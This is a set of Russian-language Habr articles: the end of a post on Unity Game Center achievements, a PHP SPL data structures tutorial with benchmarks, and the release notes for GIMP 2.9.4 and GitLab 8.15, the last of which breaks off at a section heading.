Почитав форумы и вдоволь наэкспериментировавшись, я понял, что достижения под iOS мне не светят, и что это какой-то баг Unity или Game Center. Следующим утром, пребывая в прескверном настроении, я запустил игру на iPad и с удивлением обнаружил, что достижения корректно обрабатываются. Вечером же ситуация повторилась снова. Поразмыслив, я пришел к выводу, что проблема может быть связана с этим: транзакции песочницы имеют намного меньший приоритет, чем игр в сторе, поэтому в «час пик», когда в Америке день, практически ни один прогресс по достижению не выполняется, но если попробовать обновить прогресс достижения, когда в Америке глубокая ночь, и сервера Apple «отдыхают» в ночной прохладе калифорнийской ночи, то практически все достижения обрабатываются. А сообщение «Looking for „ACHIEVEMENT\_ID“, cache count is 1.» означает, что в настоящее время отправить прогресс не удается, и Unity кэширует прогресс по достижению локально. Этот прогресс не будет потерян, и отправится на сервер, когда будет возможность установить с ним связь.
Против этой теории выступает тот факт, что разработчики, использующие prime31-плагин для этих целей таких «задержек» не испытывают, и что вероятнее всего проблема именно в Unity. Я решил рискнуть и выдать игру с достижениями в таком «подвешенном» состояли, чтобы проверить свою теорию.
Спустя полторы недели ожиданий игра появилась в сторе. Протестировав лидерборды и достижения я обнаружил, что на продакшене они работают так же загадочно, как и в песочнице. Такое ощущение, что Unity кэширует прогресс по достижениям до какой-то «критической массы», а потом в один момент их синхронизирует. Такой результат работы нельзя назвать удовлетворительным.
Подводя итог: для интеграции достижений и лидербордов в Unity без собственного или стороннего плагина не обойтись, а интеграция занимает определенное время, львиная часть которого уходит на «борьбу с ветряными мельницами» и не является такой простой, как хотелось бы. | https://habr.com/ru/post/256951/ | null | ru | null |
# Standard PHP Library (SPL) — Часть 1: Структуры данных
Привет, Хабр! В данной статье речь пойдет про Standard PHP Library (SPL). На хабре до сих пор нет толкового мануала об этой библиотеке, которая уже стала частью ядра PHP (с версии 5.3). Данная библиотека содержит набор интерфейсов, классов структур данных, итераторов и функций, с помощью которых можно значительно упростить себе жизнь и повысить качество кода. В данной статье я рассматриваю такую часть библиотеки, как структуры данных. Также я покажу альтернативные решения поставленных задач и сравню скорость выполнения в обоих случаях.
Итак. Прежде всего хочу дать ссылку на официальную документацию: [php.net/manual/en/book.spl.php](http://php.net/manual/en/book.spl.php)
В библиотеке SPL содержатся такие структуры данных:
* SplDoublyLinkedList — Двусвязные списки
* SplStack — Стек
* SplQueue — Очередь
* SplHeap — Куча
* SplMaxHeap — Сортировка кучи по убыванию
* SplMinHeap — Сортировка кучи по возрастанию
* SplPriorityQueue — Приоритетные очереди
* SplFixedArray — Массив с ограниченной длиной
* SplObjectStorage — Хранилище объектов
Рассмотри по порядку каждую из структур.
### SplDoublyLinkedList
Двусвязный список (DLL) — это список узлов, связанных в обоих направлениях друг между другом. Как известно, есть два принципа извлечения значения из списка – FIFO (First In First Out – первый зашел, первый ушел) и LIFO (Last In First Out – последний зашел, первый ушел). С помощью SplDoublyLinkedList можно извлекать значения по любому из этих принципов. Следовательно, с его помощью можно легко организовать стек или очередь.
### SplStack
Данный класс является наследником SplDoublyLinkedList и реализует стек, например:
```
$stack = new SplStack();
// добавляем элемент в стек
$stack->push('1');
$stack->push('2');
$stack->push('3');
echo $stack->count(); // 3
echo $stack->top(); // 3
echo $stack->bottom(); // 1
echo $stack->serialize(); // i:6;:s:1:"1";:s:1:"2";:s:1:"3";
// извлекаем элементы из стека
echo $stack->pop(); // 3
echo $stack->pop(); // 2
echo $stack->pop(); // 1
```
Ранее для создания мы использовали процедурный способ, а именно использовали функции array\_push – добавление элементов в конец массива и array\_pop – извлечение последнего элемента. Теперь мы работаем с объектами.
Сравним быстродействие двух способов. Тестовые условия: PHP 5.3.18, Core 2 Duo P7350, Windows. Добавляем в стек число от 1 до n и извлекаем все из стека.
| Количество push и pop | Использование функций | Использование SplStack | Отношение |
| --- | --- | --- | --- |
| 1000 | 0.007686 | 0.008559 | 0,898002 |
| 100000 | 0.793184 | 0.884979 | 0,896274375 |
В данном тесте способ с использованием функций сработал быстрее примерно на 10-15%.
Ради интереса провел еще тест в PHP 5.4.8
| Количество push и pop | Использование функций | Использование SplStack | Отношение |
| --- | --- | --- | --- |
| 1000 | 0.008186 | 0.008735 | 0,937149399 |
| 100000 | 0.732347 | 0.771456 | 0,949304951 |
По этому тесту можно увидеть, что PHP 5.4.8 быстрее чем PHP 5.3.18 при работе со стеком примерно на 10% и также улучшена работа с объектами. Поэтому все последующие тесты я буду проводить на этой версии PHP.
Однако если добавлять в стек более сложные объекты, то разница между результатами уже на уровне погрешности.
В этом тесте мы добавляли и извлекали из стека следующий объект:
```
$obj = array("10", "20", "qwerty", "100", array("one", "two", array("100") ) );
```
| Количество push и pop | Использование функций | Использование SplStack | Отношение |
| --- | --- | --- | --- |
| 1000 | 0.007974 | 0.008301 | 0,960607156 |
| 100000 | 0.818596 | 0.826363 | 0,990600983 |
В реальных приложениях объекты будут намного сложнее, поэтому смею предположить, что значительный перевес будет на стороне метода из SPL.
### SplQueue
Данная структура используется для создания очередей. Все аналогично стеку, рассмотрим лишь небольшой пример:
```
$queue = new SplQueue();
$queue->setIteratorMode(SplQueue::IT_MODE_DELETE);
$queue->enqueue('one');
$queue->enqueue('two');
$queue->enqueue('qwerty');
$queue->dequeue();
$queue->dequeue();
echo $queue->top(); // qwerty
```
### SplHeap
Кучи являются древовидными структурами: каждый узел больше или равен своим потомкам, при этом для сравнения используется внедренный метод сравнения, который является общим для всей кучи. SplHeap реализует основную функциональность кучи и является абстрактным классом.
### SplMaxHeap и SplMinHeap
От SplHeap наследуются два класса: SplMaxHeap – для сортировки массива по убыванию его значений, SplMinHeap – для сортировки массива по возрастанию.
```
$heap = new SplMaxHeap();
$heap->insert('111');
$heap->insert('666');
$heap->insert('777');
echo $heap->extract(); // 777
echo $heap->extract(); // 666
echo $heap->extract(); // 111
$heap = new SplMinHeap();
$heap->insert('111');
$heap->insert('666');
$heap->insert('777');
echo $heap->extract(); // 111
echo $heap->extract(); // 666
echo $heap->extract(); // 777
```
### SplPriorityQueue
Данная структура представляет собой очередь с приоритетами. Для каждого элемента можно задать его приоритет. Сортировка производится в зависимости от приоритета.
```
$queue = new SplPriorityQueue();
$queue->setExtractFlags(SplPriorityQueue::EXTR_DATA); // получаем только значения элементов
$queue->insert('Q', 1);
$queue->insert('W', 2);
$queue->insert('E', 3);
$queue->insert('R', 4);
$queue->insert('T', 5);
$queue->insert('Y', 6);
$queue->top();
while($queue->valid())
{
echo $queue->current();
$queue->next();
}
//YTREWQ
```
### SplFixedArray
Структура представляет собой массив с фиксированным количеством элементов. SplFixedArray хранит данные в непрерывном виде, доступные через индексы, а обычные массивы реализованы в виде упорядоченных хэш-таблиц. Данный вид массива работает быстрее, чем обычные массивы, но существуют некоторые ограничении:
* в качестве ключей могут быть только целые числа > 0
* длина может быть изменена, но это затратная операция
Данная структура хорошо подходит для нумерованных списков. Давайте рассмотрим пример и проведем тесты:
```
$a = new SplFixedArray(10000);
$count = 100000;
for($i =0; $i<$count; $i++)
{
$a[$i] = $i;
if ($i==9999) $a->setSize(100000);
}
```
| Количество push и pop | Обычный массив | Использование SplFixedArray | Отношение |
| --- | --- | --- | --- |
| 100 | 8.2 х 10E-5 | 6.3 х 10E-5 | 1,301587301 |
| 10000 | 0.004953 | 0.003983 | 1,243535024 |
| 100000 | 0.053586 | 0.0385701 | 1,389314521 |
| 1000000 | 0.533003 | 0.384391 | 1,386616752 |
Тесты подтвердили, что при любом заранее известном количестве элементов массива лидирует SplFixedArray. Однако если в процессе размер массива изменяется, то преимущество становится менее существенным: (первоначально размер был задан 10000, потом расширен до 100000):
| Количество push и pop | Обычный массив | Использование SplFixedArray | Отношение |
| --- | --- | --- | --- |
| 1000000 | 0.051937 | 0.049462 | 1,050038413 |
### SplObjectStorage
Данная структура представляет собой хранилище объектов. Объекты можно прикреплять к хранилищу, удалять, получать текущий объект. Рассмотрим несколько примеров с оффициального мануала:
```
$s = new SplObjectStorage(); // создаем хранилище
$o1 = new StdClass;
$o2 = new StdClass;
$o3 = new StdClass;
$s->attach($o1); // прикрепляем к хранилищу объект
$s->attach($o2);
var_dump($s->contains($o1)); // bool(true)
var_dump($s->contains($o2)); // bool(true)
var_dump($s->contains($o3)); // bool(false)
$s->detach($o2); // открепляем объект от хранилища
var_dump($s->contains($o1)); // bool(true)
var_dump($s->contains($o2)); // bool(false)
var_dump($s->contains($o3)); // bool(false)
```
Еще один пример:
```
$s = new SplObjectStorage();
$o1 = (object)array('a'=>1);
$o2 = (object)array('b'=>2);
$o3 = (object)array('c'=>3);
$s[$o1] = "data for object 1";
$s[$o2] = array(1,2,3);
foreach($s as $i => $key)
{
echo "Entry $i:\n"; // You get a numeric index
var_dump($key, $s[$key]);
echo "\n";
}
```
Результат:
```
Entry 0:
object(stdClass)#2 (1) {
["a"]=>
int(1)
}
string(17) "data for object 1"
Entry 1:
object(stdClass)#3 (1) {
["b"]=>
int(2)
}
array(3) {
[0]=>
int(1)
[1]=>
int(2)
[2]=>
int(3)
}
```
На этом мы закончили изучать структуры данных SPL. Мы научились быстро создавать стек, очередь и списки. Мы теперь знаем о SplFixedArray, который работает быстрей чем обычный массив. Однако это очень маленькая часть применения данной библиотеки. В следующих статьях будут рассмотрены итераторы, интерфейсы, функции и обработка исключений. | https://habr.com/ru/post/161987/ | null | ru | null |
# Вышел GIMP 2.9.4
### Отчёт о новых функциях свободного графического редактора
![](https://habrastorage.org/r/w1560/files/dbb/058/ba1/dbb058ba132e4fca879216fe7a2c2640.png)Мы только что выпустили вторую dev-версию GIMP в серии 2.9.x, ставшую результатом полугода работы. GIMP 2.9.4 представляет собой мощное обновление:
* обновленный интерфейс;
* серьёзные улучшения в управлении цветом;
* готовый к использованию инструмент *MyPaint Brush*;
* симметричное рисование;
* сплит-превью для фильтров на GEGL.
Вдобавок, исправлены десятки багов и сделаны многочисленные мелкие улучшения в графическом редакторе.
GIMP 2.9.4 достаточно надёжен для использования в продакшне, но требуется ещё кое-что доделать. Поэтому выпуск стабильной версии 2.10 потребует некоторого времени. Пожалуйста, смотрите [дорожную карту](http://wiki.gimp.org/wiki/Roadmap#GIMP_2.10) со списком основных изменений, которые готовятся в версии GIMP 2.10.
### Исправленный интерфейс и изменения в юзабилити
В новой версии представлено несколько новый тем Бенуа Туше (Benoit Touchette) в разных оттенках серого: Lighter, Light, Gray, Dark, Darker. Системная тема оформления сохранилась для тех, кто предпочитает полностью единообразный вид пользовательских интерфейсов среди всех десктопных приложений.
![](https://habrastorage.org/r/w780q1/files/c0f/8b1/fb7/c0f8b1fb749c4fc283fb378c97acfd70.jpg)
Заметьте, что в дорожной карте данная функция по-прежнему имеет статус «в работе», потому что тёмные темы следует ещё немного донастроить (особенно цвет неактивных пунктов меню).
Новые темы UI сопровождаются пиктограммами: их изначально создали Барбара Мураус (Barbara Muraus) и Якуб Штейнер (Jakub Steiner), но впоследствии сильно дополнил и привёл в окончательный вид Клаус Штадлер (Klaus Staedtler). Существующие темы иконок из предыдущих версий GIMP также сохранены, и пользователи могут свободно переключаться между доступными темами и легко добавлять собственные пиктограммы.
Темы оформления и наборы пиктограмм теперь отделены друг от друга: можете смешивать любимые темы и произвольные наборы пиктограмм. Поскольку большинство тем 2.8 не работают в 2.9.х, то темы не импортируются из GIMP <2.9. Для создания кастомных тем необходимо установливать те, которые сделаны специально для GIMP 2.9/2.10.
Все работы Клауса Штадлера с пиктограммами выполнены в векторном формате (SVG), которые в будущем должны лучше отображаться на дисплеях HiDPI (также широко известными как «ретина»). Векторные пиктограммы — экспериментальная функция, которая активируется при использовании опции конфигурации `--enable-vector-icons` во время сборки билда. Обратите внимание, что в данный момент эта опция не означает поддержки HiDPI.
Мы немного очистили меню «*Настройки*» (*Preferences*) и разместили опции в более логичном порядке. Диалог «*Управление цветом*» (*Color Management*) переработан в соответствии со внутренними и внешними изменениями в соответствующих частях редактора GIMP (об этом ниже), а настройки «*Дистанция прилипания*» (*Snap Distance*) переместились на отдельную страницу «*Прилипание*» (*Snapping*).
Вдобавок, теперь стало возможным указывать размер шага предварительного просмотра для отмены сделанных изменений в диалоге «*Отмена*» (*Undo*) через диалог «*Настройки*» (*Preferences*), что раньше было возможно только с помощью редактирования вручную файла конфигурации GIMP.
Экран заставки при загрузке редактора теперь сопровождается индикатором загрузки, который показывает, что GIMP не завис. Вместе с фоновой инициализацией *fontconfig* (ещё одна новая функция GIMP 2.9.4) это сделано в связи с распространённой проблемой, когда пересборка кэша шрифтов (или изначальное создание такого кэша) занимает много времени, так что создаётся впечатление зависания программы во время её загрузки. Мы понимаем, что это не решение проблемы, а небольшая хитрость. Для настоящего решения надо копаться в *fontconfig*. Если вам интересна эта тема, вот [соответствующий тикет](https://bugs.freedesktop.org/show_bug.cgi?id=64766).
### Улучшенное управление цветом
Реализация управления цветом полностью переделана в этой версии GIMP. Вместо подключаемого модуля теперь данный функционал встроен в ядро программы. Более того, мы добавили уровень абстракции, которые уменьшает зависимость GIMP от [LittleCMS](http://www.littlecms.com/). Это означает, что в будущем GIMP будет использовать нативные программные интерфейсы на Windows и OS X и/или свободную систему управления цветом [OCIO](http://opencolorio.org/).
На данный момент это позволило нам хорошенько вычистить код и сделать чистую реализацию управления цветом для различных частей GIMP, таких как предварительный просмотр образцов цветов и градиентов, шаблоны, различные цветовые виджеты (в том числе виджет для драг-н-дропа цветов), инструмент «*Пипетка*» (*Color Picker*), предварительный просмотр слоёв и изображения и т.д. Единственным оставшимся без изменений остался цветовой виджет в плагинах *Script-Fu* и *Python-Fu*. Более того, GIMP будет отслеживать, на каком мониторе отображается виджет (на различных мониторах работают разные профили ICC) и производить коррекцию цвета соответствующим образом.
Изображения в оттенках серого снова стали равноправными: с версии GIMP 2.9.4 управление цветом работает и для них тоже.
Поскольку сейчас редактор работает в цветовом пространстве sRGB (это изменится в будущих версиях GIMP), мы решили выставить это в пользовательском интерфейсе. Так что теперь в редакторе опция «*Управление цветом на этом изображении*» (*‘Color-manage this image’*) выставлена в двух местах: в диалоговом окне «*Новое изображение*» (*New Image*) и в подменю `Изображение > Управление цветом` (`Image > Color Management`). Это значит, что вместо использования встроенного профиля ICC (в зависимости от профиля) изображение будет просто восприниматься как sRGB. Имейте в виду, что мы хотим изменить формулировку для этой опции, чтобы более явно указать, что она делает.
Вдобавок, теперь появилось отдельное подменю `Вид > Управление цветом` (`View > Color Management`) для операций по управлению цветом.
Раздел «*Управление цветом*» (*Color Management*) в настройках тоже переделан в соответствии с последними изменениями, и снабжён более согласованными описаниями опций.
![](https://habrastorage.org/r/w1560/files/e4b/c2d/be7/e4bc2dbe7b054a3aaf423288ec2f9f41.png)
Поскольку управление цветом отрицательно сказывается на производительности программы (по крайней мере, сейчас с LittleCMS), то появилась новая опция, которая позволяет выбрать между лучшей цветопередачей или лучшей производительностью.
Среди более мелких изменений — новая команда `Изображение > Управление цветом > Сохранить цветовой профиль в файл...` (`Image > Color Management > Save Color Profile to File...`), которая делает именно то, что заявлено: сохраняет встроенный цветовой профиль ICC на диск в виде файла. Имейте в виду, что профили ICC могут быть обременены ограничениями интеллектуальной собственности, так что следует проявлять осторожность.
### GEGL
GIMP теперь отслеживает все [GEGL](http://gegl.org/)-фильтры, которые вы применили во время рабочей сессии, и позволяет применить их повторно из подменю `Фильтры > Недавние` (`Filters > Recently Used`), точно как старые плагины GIMP.
Цветовые инструменты «*Постеризация*» (*Posterize*) и «*Обесцвечивание*» (*Desaturate*) переделаны в обычные GEGL-фильтры, а оба фильтра «*Черепица*» (*Tile*) и «*Загнутая страница*» (*Pagecurl*) преобразованы для использования буферов GEGL. Довольно популярный «фотографический» фильтр *Highpass*, который обычно используют для повышения детализации, добавлен в подменю `Фильтры > Улучшение` (`Filters > Enhance`).
Но гораздо более заметной является другая новая функция — сплит-превью GEGL-фильтров. В разделённом на две половины окне вы можете сравнивать изображение до и после применения фильтра прямо в окне редактора, и передвигать границу до/после по экрану, или менять положение «до» и после» местами (щелчок мышкой по направляющей, удерживая Shift). Разделение экрана для предварительного просмотра возможно по вертикали или горизонтали (смена ориентации осуществляется (Ctrl + щелчок мышкой).
![](https://habrastorage.org/r/w780q1/files/4ff/c94/d91/4ffc94d918b54edea65952972c93460a.jpg)
### Darktable как плагин для обработки фотографий RAW
GIMP под Linux умеет использовать свободное приложение [darktable](http://www.darktable.org/) для предварительной обработки исходных фотографий в «сыром» формате RAW с цифровых зеркальных камер Canon CR2, Nikon NEF и других. darktable — это потрясающий проект, в котором разработчики постоянно зависают в IRC-канале и даже присылают коммиты в GIMP (самым последним они добавили функцию считывания различных метаданных из файлов EXR).
Обратите внимание, что плагин `file-darktable` активируется только в том случае, если darktable собран с поддержкой [Lua](https://www.lua.org/). Убедитесь, что ваш билд darktable для Linux собран надлежащим образом и поддерживает все функции.
По-прежнему остаётся возможность использовать другие плагины для работы с фотографиями RAW, такие как `UFRaw`. На случай, если у вас в системе установлено несколько таких плагинов, мы собираемся добавить опцию выбора.
### Скриншоты
Код для захвата скриншотов значительно переделан. Он теперь распределён между фронтендом и несколькими бэкендами, по-разному для Windows, OS X, Wayland и X.org (системы Linux и UNIX).
Хотя здесь отсутствуют видимые со стороны изменения, реорганизация кода значительно облегчит дальнейшие улучшения, что упростит работу с редактором в разных операционных системах.
### Рисование
#### Инструмент MyPaint Brush
Новый инструмент [MyPaint](http://mypaint.org/) теперь активирован по умолчанию. Даниэль Сабо (Daniel Sabo) и Михаэль Наттерер (Michael Natterer) улучшили производительность и сделали доступными кисти MyPaint через уже знакомый закрепляемый диалоговый интерфейс, с предварительным просмотром и метками.
Джехан Пажес (Jehan Pagès) сотрудничал с разработчиками MyPaint и [портировал libmypaint в autotools](http://mypaint.org/blog/2016/05/20/libmypaint-now-uses-autotools/). В частности, это позволяет сделать стандартные билды для всех платформ, и сейчас ведётся работа оп выпуску дефолтных кистей в отдельном независимом пакете.
#### Симметричное рисование
Ещё одна важная новая функция — режим симметричного рисования, также разработанный Джеханом Пажесом, с финансовой поддержкой сообщества GIMP. Этот режим активируется через новый диалог *Symmetry Painting* и позволяет любым инструментам работать в разных режимах симметрии (зеркало, мандала, черепица...).
* «Зеркало» позволяет рисовать в **горизонтальной, вертикальной (осевой) и/или центральной симметрии**. Направляющие для симметрии можно размещать в любом месте холста.
* «Мандала» — это **вращающаяся симметрия** любого порядка.
* «Черепица» — это **поступательная симметрия**, которая может быть конечной (с максимальным количеством шагов) или бесконечной. В последнем случае это великолепный инструмент для создания паттернов или бесшовных тайлов, с мгновенным рендерингом конечного результата, прямо во время рисования.
Вот что можно нарисовать в GIMP за *1 минуту*.
![](https://habrastorage.org/r/w1560/files/83c/691/c8c/83c691c8c35d488db5260b45181b869b.png)
#### Параметры инструментов
Улучшено реагирование на прокручивание колёсика мыши. В сочетании с различными модификаторами, теперь оно позволяет выполнять следующие полезные действия с выделенным инструментом:
* `Alt + прокрутка`: увеличение/уменьшение прозрачности;
* `Shift + Primary + прокрутка`: увеличение/уменьшение сторон (aspect);
* `Shift + Alt + прокрутка`: увеличение/уменьшение угла;
* `Primary + Alt + прокрутка`: увеличение/уменьшение размера;
* `Shift + Primary + Alt + прокрутка`: увеличение/уменьшение интервала.
*Примечание*: модификатор `Primary` — это обычно `Ctrl` или `Cmd`, в зависимости от платформы.
### Выделение
Для тех случаев, когда в вашем выделении много мелких невыделенных областей, вы теперь можете использовать команду `Выделение > Удалить дыры` (`Select > Remove Holes`).
![](https://habrastorage.org/r/w780q1/files/230/1a4/dd6/2301a4dd6cda4f1ab3cba65bbece3adc.jpg)
Диалог `Выделение > Граница` (`Select > Border`) теперь предоставляет несколько вариантов стиля границы: жёсткая, мягкая или растушёвка (feathered). Граница типа «*Растушёвка*» создаёт выделение, которое постепенно изменяется от 1 к 0 по мере удалённости от середины границы. Мягкая граница частично сохраняет выделение (антиалиасинг) вдоль границ выделения.
![](https://habrastorage.org/r/w1560/files/a55/b1c/39f/a55b1c39f4d740f2bb3434fdf5e8ee42.png)
### Улучшенные инструменты
В инструментах «*Волшебная палочка*» (*Fuzzy Select*) и «*Плоская заливка*» (Bucket Fill) появилась новая функция для выделения/заполнения соседних по диагонали пикселей.
![](https://habrastorage.org/r/w1560/files/49c/53e/352/49c53e3525e7460f9c82d92ef8ac72ee.png)
В инструменте градиентной заливки *Blend* вернулась заливка со стилем градиента «Разбивка фигуры» (Shape Burst), а управляющие регуляторы инструмента можно размещать на холсте за пределами изображения. Вдобавок, инструмент «Градиентная заливка» теперь снабжён индикатором прогресса, благодаря новой функции GEGL, которая доступна в некоторых операциях GEGL, в том числе `gegl:distance-transform`.
Инструмент «*Текст*» (*Text*) теперь полностью поддерживает продвинутые методы ввода для CJK и других незападных языков. Минимальная поддержка уже была раньше, но скомпонованный текст отображался в плавающем всплывающем окне, а не на своём месте, внутри текстовой области, и без предварительного показа стилей. Теперь текст отображается в точности как ожидается, в зависимости от вашей платформы и метода ввода (Input Method Engine). Также устранены несколько багов и причин вылета программы в связи с вводом текста.
![](https://habrastorage.org/r/w1560/files/0c8/0a9/3a4/0c80a93a452a4c508e55da4c51b51e9c.png)
### Пакетная обработка в командной строке
Для простой обработки с помощью GIMP многочисленных файлов из командной строки доступен новый макрос `with-files` — эту функцию многие очень ждали.
Например, если хотите инвертировать цвета на всех изображениях PNG в текущей папке, а потом сохранить их в JPEG, то можете запустить следующую команду для макроса из командной строки:
```
gimp -i -b '(with-files "*.png"
(gimp-invert layer)
(gimp-file-save 1 image layer
(string-append basename ".jpg")
(string-append basename ".jpg")
)
)
(gimp-quit 0)'
```
*Примечание*: название макроса [может измениться](https://bugzilla.gnome.org/show_bug.cgi?id=726947#c12) до выхода 2.10.
### Плагин для электронной почты
Диалог `Файл > Отправить по почте…` (`File > Send by email…`) откроет ваш стандартный почтовый клиент и приложит к письму текущее изображение из редактора, так что можно делиться результатами текущей работы одним нажатием кнопки. Такое возможно только в операционных системах с установленным `xdg-email` (скорее всего, только GNU/Linux, BSD).
Оригинальная реализация с помощью `sendmail` также доступна. Но поскольку для её работы требуется прафильно сконфигурированный sendmail, что на десктопных машинах редко встречается, то следует указать явную опцию `--with-sendmail` во время сборки билда для замены реализации `xdg-email`.
### Логи для отладки
В тех редких случаях, когда GIMP аварийно завершает работу, нам нужно получить как можно больше информации, чтобы выявить причину сбоя. Один из таких источников информации — исходный лог, который записывается при сбое. Теперь программа под Windows может записывать такой лог с помощью библиотеки [Dr.MinGW’s ExcHndl](https://github.com/jrfonseca/drmingw), которая должна быть в наличии во время сборки. Логи сохраняются в `%APPDATA%\GIMP\2.9\CrashLog\`.
### Что осталось сделать для GIMP 2.10
С момента релиза версии 2.9.2 мы в основном исправляли баги и завершали работу, начатую раньше. Мы больше не планируем добавлять новые основные функции в 2.10. Если желаете помочь выпустить версию 2.10 как можно раньше, то список баг-репортов можно найти в нашем [баг-трекере](https://bugzilla.gnome.org/buglist.cgi?bug_status=UNCONFIRMED&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&bug_status=NEEDINFO&classification=Other&list_id=137406&order=Importance&product=GIMP&query_format=advanced&target_milestone=2.10).
### Некоторая статистика по нашим потрясающим разработчикам
Версия GIMP 2.9.2 [была выпущена 27 ноября 2015 года](http://www.gimp.org/news/2015/11/27/gimp-2-9-2-released/). С тех пор до выпуска 2.9.4 сделано **1348 коммитов**, то есть в среднем **5,9 коммита в день**, из которых 894 (в основном) связаны с программной базой, 241 — с пиктограммами, а 213 — обновления для переводов.
Как обычно, группа разработки GIMP маленькая, но исключительно предана своему делу: более трети всех коммитов сделал Михаэль Наттерер (514), за ним следуют Джехан Пажес (192) и Клаус Штадлер (187). Эти трое обеспечили 66% всех коммитов.
У нас появились довольно трудолюбивые новички:
* К нам присоединился Ell, который обеспечил значительный вклад в кодовую базу (32 коммита), в том числе реализовал выделение соседних по диагонали пикселей, команду «Устранить дыры» (Remove Holes) и многие другие исправления:
* Тобиас Эллингхаус (Tobias Ellinghaus), разработчик из проекта darktable, прислал 14 коммитов по интеграции darktable и улучшению поддержки EXR и PNM.
Конечно, с нами по-прежнему привычные люди с 10+ коммитами: это Александр Прокудин, Даниэль Сабо, Кристиан Ритвельд, Массимо Валентини и Михаэль Хеннинг.
Всем им, а также десяткам других энтузиастов, которые участвовали в разработке GIMP 2.9.2, мы хотим сказать большое спасибо.
### Скачать
Исходный код доступен на [странице для скачивания](http://www.gimp.org/downloads/). Инсталлятор для Windows вскоре появится. Билд для Mac OS X пока не готов. | https://habr.com/ru/post/305710/ | null | ru | null |
# Вышел GitLab 8.15
В последнем релизе уходящего года мы завершаем наш [Мастер-план](https://about.gitlab.com/2016/09/14/gitlab-live-event-recap/) и хотим показать вам кое-что интересное из того, над чем мы работали.
В GitLab 8.15 появилась фича Auto Deploy – автоматизированная настройка развертывания и приложений для ревью (Review Apps). Для проекта на Ruby on Rails такая настройка займёт меньше минуты. Посмотрите, как это работает, в видео на [1:42](https://youtu.be/m0nYHPue5RU?t=102).
Вдобавок, доступ к вашим средам (environments) стал быстрее и проще: через терминал непосредственно в GitLab (там же на [5:18](https://youtu.be/m0nYHPue5RU?t=318))
Мы хотим дать каждому возможность использовать всю мощь контейнеров (containers), непрерывной интеграции и развертывания (continuous integration and deployment, сокращенно CD/CI), приложений для ревью (review apps) и планировщиков контейнеров (container schedulers). В GitLab 8.15 мы взяли на себя всю сложную работу по настройке, и вся она происходит совершенно прозрачно. В демонстрационном видео мы настраиваем и разворачиваем Ruby-приложение с review apps, несколькими средами и чатопсом (chatops, управление инфраструктурой через интеграцию с чатом) на кластер Kubernetes примерно за 12 минут. Без GitLab такая задача обычно занимает дни, если не недели.
Для большинства из нас декабрь — месяц праздников и подарков. GitLab тоже получил в подарок много новых фич.
~~Дед Мороз~~ MVP месяца — [Michael Munch](https://gitlab.com/Munken), который интегрировал в GitLab красивое отображение математических формул (LaTeX). Michael работал над этой функциональностью больше полугода в нескольких мерж-реквестах (merge requests) с более чем тремя сотнями комментариев.
Мы также хотим поблагодарить [Warren Postma](https://gitlab.com/warren.postma) за его помощь в нашем трекере задач и [на форуме сообщества](https://forum.gitlab.com/users/warren.postma/activity) и в целом [за популяризацию GitLab](https://gitlab.com/warren.postma/gitlab-ce/wikis/home).
Ещё одна благодарность — [Elan Ruusamäe](https://gitlab.com/glensc) и [Dirk Hörner](https://gitlab.com/dirker) за их вклад в технический дизайн и реализацию фич, которые значительно усилили git-хуки (git hooks) в GitLab.
Спасибо вам, Warren, Michael, Elan, и Dirk!
Автоматическое развертывание (Auto Deploy)
------------------------------------------
Мы хотим, чтобы настройка полнофункционального конвейера CI/CI (CI/CD pipeline) с развертыванием через планировщик контейнеров (container scheduler) была доступна каждому. Она должна быть легкой в освоении, но при этом масштабируемой и прозрачной.
Auto Deploy дает возможность такой настройки. В вашем проекте появится новая кнопка, по нажатию на которую будет создан мерж-реквест (merge request, он же pull request) с шаблоном файла `.gitlab-ci.yml`, содержащим сценарий развертывания в используемый вами планировщик контейнеров с помощью Docker. Также в этом шаблоне присутствует настройка Review Apps, поэтому на работу новой фичи можно будет посмотреть сразу — еще до того, как вы примете мерж-реквест.
![Auto deploy in GitLab 8.15](https://about.gitlab.com/images/8_15/auto_deploy.png)
Это, пожалуй, самый быстрый путь к развертыванию в одно нажатие кнопки, в котором реализация прозрачна, все настройки хранятся в git, и со всем этим легко работать в команде.
Настройка Auto Deploy в GitLab 8.15 показывается в видео на [1:42](https://youtu.be/m0nYHPue5RU?t=102).
Это первая итерация, и пока что доступен только шаблон для развертывания на внешний (external) кластер OpenShift. Мы используем [Herokuish](https://github.com/gliderlabs/herokuish) и Heroku Buildpacks, чтобы упаковать ваше приложение в докер-образ (docker image) и развернуть его в Kubernetes на OpenShift. В будущем мы планируем добавить поддержку других планировщиков контейнеров и облачных платформ (таких как обычный кластер Kubernetes, Mesos и Docker Swarm). Мы будем рады вашему вкладу в [коллекцию шаблонов](https://gitlab.com/gitlab-org/gitlab-ci-yml).
> За подробной информацией обращайтесь к документации по [Auto deploy](https://docs.gitlab.com/ce/ci/autodeploy/index.html).
Веб-терминал
------------
Представьте себе ситуацию: в вашем GitLab настроены и работают несколько динамических сред, созданных по запросу из того или иного проекта. Это могут быть приложения для ревью, staging или production-среды. Обычно для получения прямого доступа к ним нужно прикладывать лишние усилия. Это досадное ограничение: бывает полезно сделать что-то своими руками ради эксперимента или для отладки.
С веб-терминалом (web-terminal) эта задача сильно упрощается. Достаточно зайти на страницу сред вашего проекта и нажать на кнопку терминала. GitLab сам установит SSH-соединение с нужным хостом и предоставит вам полноценную консоль в окне браузера.
![Web Terminal in GitLab 8.15](https://about.gitlab.com/images/8_15/terminal_gif.gif)
В демонстрационном видео работа веб-терминала показана на [5:18](https://youtu.be/m0nYHPue5RU?t=318). Мы с нетерпением ждем отзывов о том, как эта фича помогла вам ускорить работу.
> Подробная информация о настройке и использовании веб-терминала находится в [документации для системных администраторов](https://docs.gitlab.com/ce/administration/integration/terminal.html) и в пользовательской [документации по рабочим средам (environments)](https://docs.gitlab.com/ce/ci/environments.html#terminal-support).
Улучшенный импорт из Bitbucket
------------------------------
Импорт из Bitbucket стал еще более гибким.
В GitLab 8.15 мы добавили импорт пулл-реквестов вместе с комментариями в мерж-реквесты GitLab, а также импорт milestone’ов (метки больших этапов разработки, которыми отмечаются обычные задачи) и вики-страниц.
Итого, получается следующий список импортируемых объектов:
* Описание репозитория
* Сам репозиторий git
* Задачи и комментарии к ним
* Пулл-реквесты и комментарии к ним
* Milestone’ы
* Вики
При импорте сохраняются все ссылки на пулл-реквесты и задачи, а также уровни доступа (публичный или приватный)
Подробнее об импорте из Bitbucket – в [документации](https://docs.gitlab.com/ce/workflow/importing/import_projects_from_bitbucket.html)
Глобальные git-хуки
-------------------
